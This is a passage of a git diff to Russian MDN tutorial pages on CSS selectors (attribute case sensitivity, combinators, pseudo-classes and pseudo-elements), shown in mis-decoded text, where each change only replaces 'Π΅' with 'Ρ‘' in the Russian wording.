ΠΏΡ€ΠΈΠ·Π½Π°ΠΊ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ символы ASCII Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠΏΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒΡΡ Π±Π΅Π· ΡƒΡ‡Ρ‘Ρ‚Π° рСгистра. <span class="tlid-translation translation" lang="ru"><span title="">Π‘Π΅Π· этого ΠΏΡ€ΠΈΠ·Π½Π°ΠΊΠ° значСния Π±ΡƒΠ΄ΡƒΡ‚ сопоставлСны Π² соотвСтствии с Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ ΠΊ рСгистру языка Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</span></span> β€” <span class="tlid-translation translation" lang="ru"><span title="">Π² случаС HTML такая Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ присутствуСт</span></span>.</p>
<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ сСлСктор Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰Π΅Π΅ΡΡ с <code>a</code> β€” <span class="tlid-translation translation" lang="ru"><span title="">это соотвСтствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠΌΡƒ элСмСнту списка</span></span><span class="tlid-translation translation" lang="ru"><span title="">, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π΄Π²Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнта списка Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с Π·Π°Π³Π»Π°Π²Π½ΠΎΠΉ Π±ΡƒΠΊΠ²Ρ‹ A</span></span>. Π’Ρ‚ΠΎΡ€ΠΎΠΉ сСлСктор ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΡ€ΠΈΠ·Π½Π°ΠΊ Π½Π΅Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΊ рСгистру ΠΈ поэтому Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚ всС элСмСнты списка.</p>
<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-case.html", '100%', 800)}}</p>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: БущСствуСт Ρ‚Π°ΠΊΠΆΠ΅ Π±ΠΎΠ»Π΅Π΅ Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>s</code>, <span class="tlid-translation translation" lang="ru"><span title="">ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ сопоставлСниС с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ рСгистра Π² контСкстах, Π³Π΄Π΅ сопоставлСниС ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Π΅Ρ‚ рСгистр, ΠΎΠ΄Π½Π°ΠΊΠΎ это Π½Π΅ Ρ‚Π°ΠΊ Ρ…ΠΎΡ€ΠΎΡˆΠΎ поддСрТиваСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² контСкстС HTML.</span></span></p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: БущСствуСт Ρ‚Π°ΠΊΠΆΠ΅ Π±ΠΎΠ»Π΅Π΅ Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>s</code>, <span class="tlid-translation translation" lang="ru"><span title="">ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ сопоставлСниС с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ рСгистра Π² контСкстах, Π³Π΄Π΅ сопоставлСниС ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Π΅Ρ‚ рСгистр, ΠΎΠ΄Π½Π°ΠΊΠΎ это Π½Π΅ Ρ‚Π°ΠΊ Ρ…ΠΎΡ€ΠΎΡˆΠΎ поддСрТиваСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² контСкстС HTML.</span></span></p>
</div>
<h2 id="Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅_шаги">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ шаги</h2>
diff --git a/files/ru/learn/css/building_blocks/selectors/combinators/index.html b/files/ru/learn/css/building_blocks/selectors/combinators/index.html
index c5dcf8b0c1..1905482b84 100644
--- a/files/ru/learn/css/building_blocks/selectors/combinators/index.html
+++ b/files/ru/learn/css/building_blocks/selectors/combinators/index.html
@@ -31,7 +31,7 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Combinators
<pre class="brush: css notranslate">body article p</pre>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ выбираСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΡ‚ элСмСнт &lt;p&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ находится Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта с классом<code>.box</code>.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ выбираСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΡ‚ элСмСнт &lt;p&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ находится Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта с классом<code>.box</code>.</p>
<p>{{EmbedGHLiveSample("css-examples/learn/selectors/descendant.html", '100%', 500)}}</p>
@@ -53,7 +53,7 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Combinators
<pre class="brush: css notranslate">p + img</pre>
-<p>РаспространСнный Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ использования β€” ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ с Π°Π±Π·Π°Ρ†Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт Π·Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΡ‰Π΅ΠΌ Π°Π±Π·Π°Ρ†, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ нСпосрСдствСнно ΠΏΡ€ΠΈΠΌΡ‹ΠΊΠ°Π΅Ρ‚ ΠΊ <code>&lt;h1&gt;</code>, ΠΈ стилизуСм Π΅Π³ΠΎ.</p>
+<p>Распространённый Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ использования β€” ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ с Π°Π±Π·Π°Ρ†Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт Π·Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΡ‰Π΅ΠΌ Π°Π±Π·Π°Ρ†, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ нСпосрСдствСнно ΠΏΡ€ΠΈΠΌΡ‹ΠΊΠ°Π΅Ρ‚ ΠΊ <code>&lt;h1&gt;</code>, ΠΈ стилизуСм Π΅Π³ΠΎ.</p>
<p>Если Π²Ρ‹ вставитС ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ элСмСнт, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>&lt;h2&gt;</code> ΠΌΠ΅ΠΆΠ΄Ρƒ <code>&lt;h1&gt;</code> ΠΈ <code>&lt;p&gt;</code>, Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π°Π±Π·Π°Ρ† большС Π½Π΅ соотвСтствуСт сСлСктору ΠΈ поэтому Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π°, примСняСмый, ΠΊΠΎΠ³Π΄Π° элСмСнт являСтся сосСдним.</p>
@@ -65,7 +65,7 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Combinators
<pre class="brush: css notranslate">p ~ img</pre>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅ΠΌ всС элСмСнты <code>&lt;p&gt;</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ΄ΡƒΡ‚ послС <code>&lt;h1&gt;</code>, ΠΈ хотя Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π΅ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ <code>&lt;div&gt;</code>, Ρ‚Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ <code>&lt;p&gt;</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ΄Π΅Ρ‚ послС Π½Π΅Π³ΠΎ, Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅ΠΌ всС элСмСнты <code>&lt;p&gt;</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ΄ΡƒΡ‚ послС <code>&lt;h1&gt;</code>, ΠΈ хотя Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π΅ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ <code>&lt;div&gt;</code>, Ρ‚Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ <code>&lt;p&gt;</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ΄Ρ‘Ρ‚ послС Π½Π΅Π³ΠΎ, Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½.</p>
<p>{{EmbedGHLiveSample("css-examples/learn/selectors/general.html", '100%', 600)}}</p>
@@ -85,7 +85,7 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Combinators
<h2 id="ДвигаСмся_дальшС">ДвигаСмся дальшС</h2>
-<p>Π­Ρ‚ΠΎ послСдний Ρ€Π°Π·Π΄Π΅Π» Π² Π½Π°ΡˆΠΈΡ… ΡƒΡ€ΠΎΠΊΠ°Ρ… ΠΏΠΎ сСлСкторам. Π”Π°Π»Π΅Π΅ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π²Π°ΠΆΠ½ΠΎΠΉ части CSS β€” <a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/Building_blocks/The_box_model">CSS модСль ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ</a>.</p>
+<p>Π­Ρ‚ΠΎ послСдний Ρ€Π°Π·Π΄Π΅Π» Π² Π½Π°ΡˆΠΈΡ… ΡƒΡ€ΠΎΠΊΠ°Ρ… ΠΏΠΎ сСлСкторам. Π”Π°Π»Π΅Π΅ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π²Π°ΠΆΠ½ΠΎΠΉ части CSS β€” <a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/Building_blocks/The_box_model">CSS модСль ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ</a>.</p>
<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}</p>
diff --git a/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html b/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html
index 8720c0a277..cea4ff52bc 100644
--- a/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html
+++ b/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html
@@ -47,7 +47,7 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Pseudo-classes_and_p
<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-child2.html", '100%', 700)}}</p>
-<p>ВсС псСвдоклассы Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ. Они Π½Π°Ρ†Π΅Π»Π΅Π½Ρ‹ Π½Π° ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ вашСго Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, находящийся Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ состоянии, ΠΈ Π²Π΅Π΄ΡƒΡ‚ сСбя Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ класс Π² свой HTML. Рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π² MDN:</p>
+<p>ВсС псСвдоклассы Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ. Они Π½Π°Ρ†Π΅Π»Π΅Π½Ρ‹ Π½Π° ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ вашСго Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, находящийся Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ состоянии, ΠΈ Π²Π΅Π΄ΡƒΡ‚ сСбя Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ класс Π² свой HTML. Рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π² MDN:</p>
<ul>
<li><code><a href="https://wiki.developer.mozilla.org/ru/docs/Web/CSS/:last-child">:last-child</a></code></li>
@@ -80,7 +80,7 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Pseudo-classes_and_p
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: НСкоторыС Ρ€Π°Π½Π½ΠΈΠ΅ псСвдоэлСмСнты использовали синтаксис ΠΎΠ΄ΠΈΠ½Π°Ρ€Π½ΠΎΠ³ΠΎ двоСточия, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ½ΠΎΠ³Π΄Π° Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² ΠΊΠΎΠ΄Π΅ ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ…. Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ€Π°Π½Π½ΠΈΠ΅ псСвдоэлСмСнты с ΠΎΠ΄ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌ ΠΈΠ»ΠΈ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ синтаксиса для ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ совмСстимости.</p>
</div>
-<p>НапримСр, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²ΡƒΡŽ строку Π°Π±Π·Π°Ρ†Π°, Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΅Π΅ Π² <code>&lt;span&gt;</code> ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСлСктор элСмСнта; ΠΎΠ΄Π½Π°ΠΊΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ ΡΡ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ссли количСство слов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΠ»ΠΈ, Π±ΡƒΠ΄Π΅Ρ‚ большС ΠΈΠ»ΠΈ мСньшС ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π½Π΅ Π·Π½Π°Π΅ΠΌ, сколько слов помСстится Π² строкС β€” Ρ‚.ΠΊ. ΠΈΡ… количСство мСняСтся, Ссли мСняСтся ΡˆΠΈΡ€ΠΈΠ½Π° экрана ΠΈΠ»ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° β€” Ρ‚ΠΎ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΠ³ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ HTML Π½Π΅Ρ‚.</p>
+<p>НапримСр, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²ΡƒΡŽ строку Π°Π±Π·Π°Ρ†Π°, Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΅Ρ‘ Π² <code>&lt;span&gt;</code> ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСлСктор элСмСнта; ΠΎΠ΄Π½Π°ΠΊΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ ΡΡ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ссли количСство слов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΠ»ΠΈ, Π±ΡƒΠ΄Π΅Ρ‚ большС ΠΈΠ»ΠΈ мСньшС ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π½Π΅ Π·Π½Π°Π΅ΠΌ, сколько слов помСстится Π² строкС β€” Ρ‚.ΠΊ. ΠΈΡ… количСство мСняСтся, Ссли мСняСтся ΡˆΠΈΡ€ΠΈΠ½Π° экрана ΠΈΠ»ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° β€” Ρ‚ΠΎ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΠ³ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ HTML Π½Π΅Ρ‚.</p>
<p>Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€ псСвдоэлСмСнта <code>::first-line</code> сдСлаСт это навСрняка β€” Ссли количСство слов увСличиваСтся ΠΈΠ»ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ΡΡ, ΠΎΠ½ всё Ρ€Π°Π²Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠ΅Ρ€Π²ΡƒΡŽ строку.</p>
@@ -103,13 +103,13 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Pseudo-classes_and_p
<p>БущСствуСт ΠΏΠ°Ρ€Π° ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… псСвдоэлСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ вмСстС со свойством <code><a href="/en-US/docs/Web/CSS/content">content</a></code> для вставки содСрТимого Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… для вставки строки тСкста, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΆΠΈΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ тСкстовоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства {{cssxref("content")}} ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ измСнится Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚. ΠœΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ псСвдоэлСмСнт <code>::before</code> Π½Π°Β <code>::after</code> ΠΈ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ тСкст вставлСн Π² ΠΊΠΎΠ½Ρ†Π΅ элСмСнта, Π° Π½Π΅ Π² Π½Π°Ρ‡Π°Π»Π΅.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… для вставки строки тСкста, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΆΠΈΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ тСкстовоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства {{cssxref("content")}} ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ измСнится Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚. ΠœΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ псСвдоэлСмСнт <code>::before</code> Π½Π°Β <code>::after</code> ΠΈ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ тСкст вставлСн Π² ΠΊΠΎΠ½Ρ†Π΅ элСмСнта, Π° Π½Π΅ Π² Π½Π°Ρ‡Π°Π»Π΅.</p>
<p>{{EmbedGHLiveSample("css-examples/learn/selectors/before.html", '100%', 400)}}</p>
<p>Однако вставка строк тСкста ΠΈΠ· CSS Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ происходит Π½Π΅ слишком часто, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ этот тСкст нСдоступСн для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…Β <span class="extended-text__full">экранных Π΄ΠΈΠΊΡ‚ΠΎΡ€</span>ΠΎΠ² ΠΈ Π΅Π³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ Π½Π°ΠΉΡ‚ΠΈ ΠΈ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
